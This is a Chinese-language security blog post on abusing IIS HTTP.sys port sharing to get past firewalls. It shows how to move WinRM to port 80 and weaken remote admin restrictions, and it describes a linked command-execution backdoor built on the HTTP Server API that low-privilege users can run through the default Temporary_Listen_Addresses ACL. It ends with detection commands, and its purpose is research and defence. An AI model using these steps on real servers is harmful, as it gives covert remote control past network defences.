利用IIS的端口共享功能绕过防火墙

0x00 前言

我最近在思考这样一个问题：

Windows服务器开启了IIS服务，防火墙仅允许80或443端口进行通信，那么如何在不使用webshell的前提下，实现对该服务器的远程管理？更进一步，如果只有低权限，有没有办法呢？

0x01 简介

本文将要介绍以下内容：

· HTTP.sys和端口共享

· WinRM服务

· HTTP Server API

· 针对80和443端口的利用方法

· 针对高权限和低权限的利用方法

· 检测方法

0x02 基本概念

1.HTTP.sys和端口共享

微软在Windows 2003 Server加入了内核驱动程序(Http.sys)，用于侦听http流量并根据URL进行处理，允许任意用户进程共享专用于HTTP流量的TCP端口。

也就是说，通过HTTP.sys，多个进程将能够侦听同一端口上的HTTP流量。

可以使用Netsh命令来查询和配置HTTP.sys设置和参数，参考资料如下：

https://docs.microsoft.com/en-us/windows/win32/http/netsh-commands-for-http

列出所有URL的DACL，命令如下：

netsh http show urlacl

系统默认包括10个DACL，其中的两个对应WinRM服务，具体信息如下：

    Reserved URL            : http://+:5985/wsman/
        User: NT SERVICE\WinRM
            Listen: Yes
            Delegate: No
        User: NT SERVICE\Wecsvc
            Listen: Yes
            Delegate: No
            SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

    Reserved URL            : https://+:5986/wsman/
        User: NT SERVICE\WinRM
            Listen: Yes
            Delegate: No
        User: NT SERVICE\Wecsvc
            Listen: Yes
            Delegate: No
            SDDL: D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147
-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-299656351
7)

5985对应http的端口，5986对应https的端口。

2.WinRM服务

学习资料：

https://docs.microsoft.com/en-us/windows/win32/winrm/portal

全称Windows Remote Management，能够实现在远程主机上执行命令。

3.HTTP Server API

学习资料：

https://docs.microsoft.com/en-us/windows/win32/http/http-api-start-page

HTTP Server API使应用程序能够接收定向到URL的HTTP请求并发送HTTP响应。

0x03 利用WinRM服务实现端口复用

注：Twi1ight的文章已经介绍了这部分内容，感谢他的分享，地址如下：

https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg

本节仅对此文章中的内容进行归纳整理并稍作补充。

Windows Server 2008默认关闭WinRM服务，Windows Server 2012默认开启。

注：以下操作需要获得管理员权限。

1.如果系统已开启WinRM服务

(1)查看监听配置

winrm e winrm/config/listener

默认监听5985端口，为了不修改默认配置，这里需要新增80端口。

注：

查看WinRM配置的命令如下：

winrm get winrm/config

(2)新增80端口

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

补充：

删除80端口的命令如下:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"}

注：

如果未新增80端口，远程连接需要指定5985端口，示例如下:

winrs -r:http://192.168.112.129:5985 -u:test -p:1234 "whoami"

(3)允许Administrators组中的所有帐户访问该服务

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注：

如果不设置此项，远程连接时只能使用内置管理员帐户Administrator。

2.如果系统未开启WinRM服务

(1)使用默认配置开启并配置服务

Winrm quickconfig -q

将自动执行以下操作：

· 启动WinRM服务，并将服务启动类型设置为自动启动。

· 添加监听配置。

· 添加防火墙规则。

(2)修改默认端口

开启服务后，默认监听5985端口，为了更隐蔽，这里需要将默认端口5985修改为80端口。

修改http默认端口为80：

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

注：

还原http默认端口为5985的命令如下：

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="5985"}

(3)允许Administrators组中的所有帐户访问该服务

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注：

如果不设置此项，远程连接时只能使用内置管理员帐户Administrator。

3.通过WinRM服务连接远程主机

本地系统需要使用同远程主机相同的语言环境。

(1)本地系统开启WinRM服务

Winrm quickconfig -q

(2)本地系统设置访问规则，允许连接所有主机

winrm set winrm/config/Client @{TrustedHosts="*"}

注：

删除该访问规则的命令如下：

winrm set winrm/config/Client @{TrustedHosts=""}

(3)连接远程主机的命令示例

如果为默认5985端口，命令如下：

winrs -r:http://192.168.112.129:5985 -u:administrator -p:1234 "whoami"

如果为80端口，命令如下：

winrs -r:http://192.168.112.129 -u:administrator -p:1234 "whoami"

0x04 利用HTTP Server API实现端口复用

1.示例代码测试

下载地址：

https://docs.microsoft.com/en-us/windows/win32/http/http-server-sample-application

代码支持同时注册多个URL，处理请求，发送HTTP响应。

简单测试如下：

服务器IP为192.168.112.129

管理员权限执行：

http-server-sample-application.exe http://+:80/MyUri1 http://+:80/MyUri2

打开浏览器分别访问http://192.168.112.129:80/MyUri1和http://192.168.112.129:80/MyUri2

接收的结果如下图：

示例代码通过API HttpAddUrl()将URL注册为Listen On，默认配置下，需要管理员权限才能添加成功，否则产生错误：HttpAddUrl failed with 5，提示权限不够。

但可以通过添加url acl(需要管理员权限)的方式实现普通用户权限下的正常运行。

2.通过添加url acl(需要管理员权限)的方式实现示例代码以普通用户权限运行

方法如下:

添加url acl，授予Everyone用户对指定URL的权限，命令如下(管理员权限):

netsh http add urlacl url=http://+:80/MyUri user=everyone

注：

删除该url acl的命令如下：

netsh http delete urlacl url=http://+:80/MyUri

再次执行测试程序(普通用户权限)，命令如下：

http-server-sample-application.exe http://+:80/MyUri

执行成功。

3.借助已有的url acl实现示例代码以普通用户权限运行

列出所有URL的DACL，命令如下：

netsh http show urlacl

注意到默认配置下包含以下acl：

 Reserved URL            : http://+:80/Temporary_Listen_Addresses/
       User: \Everyone
           Listen: Yes
           Delegate: No
           SDDL: D:(A;;GX;;;WD)

User为Everyone，所以我们可以借助这个url。

执行示例程序(普通用户权限)，命令如下：

http-server-sample-application.exe http://+:80/Temporary_Listen_Addresses/MyUri

执行成功。

4.修改示例代码，实现命令执行

思路如下：

通过GET请求发送要执行的cmd命令，格式为?<command>

例如:http://192.168.112.129/MyUri?whoami，要执行的命令为whoami，在Response中回复执行的结果

对于不符合格式的GET和POST请求，在Response中回复404。

实现代码：

以示例程序为模板，需要修改以下位置：

(1)使用?传入参数

pRequest->CookedUrl.pQueryString能够读取参数，但包括了无用的字符?，实际执行命令时需要去掉pRequest->CookedUrl.pQueryString的第一个字符。

去掉pRequest->CookedUrl.pQueryString第一个字符的C代码如下：

WCHAR *QueryString = new WCHAR[pRequest->CookedUrl.QueryStringLength-1];
wcsncpy_s(QueryString, wcslen(QueryString), pRequest->CookedUrl.pQueryString + 1, wcslen(QueryString) - 1);
wprintf_s(L"%s\n", QueryString);

(2)特殊字符的替换

· 空格被转码为%20

· "被转码为%22

· '被转码为%27

例如浏览器输入字符串whoami /all，会被转码为whoami%20/all，这条命令无法直接在命令行下执行。

还原URL编码的C代码已上传至github，地址如下：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/UrlDecode.cpp

代码支持多字节字符集和Unicode字符集。

(3)使用管道读入命令并执行，回传结果

使用管道执行cmd命令并获取结果的代码已上传至github，地址如下：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/UsePipeToExeCmd.cpp

(4)修改回传结果的格式

回传的结果需要作格式转换，\n换行符转换成html中的</br>，否则浏览器显示的内容无法换行。

将文本中的换行符(\n)转换成html中换行符(</br>)的代码已上传至github，地址如下：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/TextToHtmlofNewline.cpp

最终实现的代码已上传至github，地址如下：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp

只有输入特定格式的url能够执行命令，否则提示404。

如下图：

命令实例：

http://192.168.112.129/MyUri?net%20start

如下图：

https协议也支持，命令实例：

https://192.168.112.129/MyUri?net%20start

如下图：

0x05 利用方法

Windows服务器开启了IIS服务，防火墙仅允许80或443端口进行通信，在不使用webshell的前提下，实现对该服务器远程管理的方法如下：

1.使用管理员权限

(1)使用WinRM服务

需要开启WinRM服务。

需要Administrators组中的帐户口令或hash。

(2)使用HTTP Server API

可以使用任意url。

注：80和443端口都可以。

2.使用普通用户权限

(1)使用HTTP Server API

使用已有的url acl：http://+:80/Temporary_Listen_Addresses/

注：无法使用443端口。

0x06 检测方法

使用以下方法检测当前IIS服务器的端口共享功能是否被滥用。

1.检测正在使用的url

如果使用了HTTP Server API，程序在运行时会注册url，查看命令如下：

netsh http sh ser

可疑结果示例：

Server session ID: D000000020000174
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: AC0000004000017C
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://192.168.112.129:80:192.168.112.129/MYURI/

Server session ID: D000000020000173
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: AC0000004000017B
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTPS://192.168.112.129:443:192.168.112.129/MYURI/
                
Server session ID: D600000020000077
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: BF00000040000120
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://+:80/TEMPORARY_LISTEN_ADDRESSES/

2.查看WinRM服务配置

如果攻击者获得了管理员权限，WinRM服务配置有可能被滥用。

查看监听配置：

winrm e winrm/config/listener

查看是否开启可疑端口。

0x07 小结

本文解决了如下问题：

Windows服务器开启了IIS服务，防火墙仅允许80或443端口进行通信，那么如何在不使用webshell，并且只有普通用户权限，实现对该服务器的远程管理？

解决方法:

使用代码：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp

使用已有的url acl，命令参数如下：

HTTPServerWebshell.exe http://+:80/Temporary_Listen_Addresses/